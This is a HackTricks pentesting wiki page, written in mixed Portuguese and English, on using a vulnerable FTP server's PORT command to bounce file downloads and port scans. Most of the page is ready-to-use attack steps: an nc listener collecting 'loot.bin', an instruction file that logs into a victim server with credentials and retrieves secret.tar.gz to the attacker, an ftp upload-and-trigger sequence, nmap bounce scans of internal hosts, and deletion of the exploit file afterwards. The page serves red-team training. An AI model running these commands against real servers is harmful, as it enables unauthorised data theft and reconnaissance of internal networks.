FTP Bounce Download 2 of FTP File

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Resumo

Se você tiver acesso a um bounce FTP server, pode fazê-lo solicitar arquivos de another FTP server (onde você conhece algumas credenciais) e baixar esse arquivo para your own server.

Requisitos

  • Credenciais FTP válidas no FTP Middle server
  • Credenciais FTP válidas em Victim FTP server
  • Ambos os servidores accept the PORT command (bounce FTP attack)
  • Você pode write dentro de algum diretório do FTP Middle server
  • O servidor middle tem more access dentro do Victim FTP server do que você

Etapas

  1. Conecte-se ao your own FTP server e coloque a conexão em passive (pasv command) para que ele listens em um diretório onde o serviço vítima enviará o arquivo.
  2. Crie o arquivo que o FTP Middle server enviará para o Victim server (o exploit script). Este arquivo será texto simples com os comandos necessários para autenticar-se no Victim server, mudar de diretório e baixar um arquivo para o seu próprio servidor.
  3. Conecte-se ao FTP Middle Server e faça upload do arquivo anterior.
  4. Faça com que o FTP Middle server establish a connection com o Victim server e envie o exploit file.
  5. Capture o arquivo no seu próprio servidor FTP.
  6. Delete o exploit file do FTP Middle server.

Verificação rápida para bounce hosts vulneráveis

  • Nmap ainda suporta FTP bounce checks. Exemplo para verificar um potencial middle server:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

Se o servidor recusar valores PORT de terceiros a varredura falhará; algumas impressoras embutidas/legacy, NAS e daemons FTP de appliances ainda permitem isso.

Automating the 2nd FTP download

Abaixo está uma forma modernizada de puxar um arquivo através de um middle FTP server vulnerável.

  1. Open a passive listener no seu ataque box (qualquer TCP sink funciona):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. Note seu IP como A,B,C,D e a porta P como p1,p2 (p1 = P/256, p2 = P%256).

  2. Build the instruction file que o middle server vai reproduzir para a vítima:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. Upload & trigger from the middle server (classic proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. Grab the file do seu listener (loot.bin).
  2. Clean up o arquivo instrs enviado no servidor intermediário.

Notes:

  • Padding (dd ...) evita que a conexão de controle feche antes do RETR terminar (problema de janela TCP grande discutido em writeups clássicos).
  • Qualquer serviço que possa listen and dump TCP pode substituir o socket FTP PASV (por exemplo, socat -u TCP-LISTEN:2121,fork - > loot.bin).
  • Se o middle server restringir portas privilegiadas, use uma porta alta em PORT e ajuste seu listener apropriadamente.

Extra tricks

  • Use um bounceable FTP server para port-scan internal hosts quando o file relay estiver bloqueado:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • Alguns WAF/IDS modernos (por exemplo, Juniper IPS) trazem assinaturas especificamente para FTP:EXPLOIT:BOUNCE-ATTACK; payloads ruidosos ou padding ausente podem acioná-las.
  • Quando o middle server aplica restrições de “PORT to same host”, coloque seu listener no próprio servidor intermediário (se você tiver write/execute) e encaminhe o arquivo capturado depois.

Para um walkthrough old-school mais detalhado, confira: http://www.ouah.org/ftpbounce.html

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks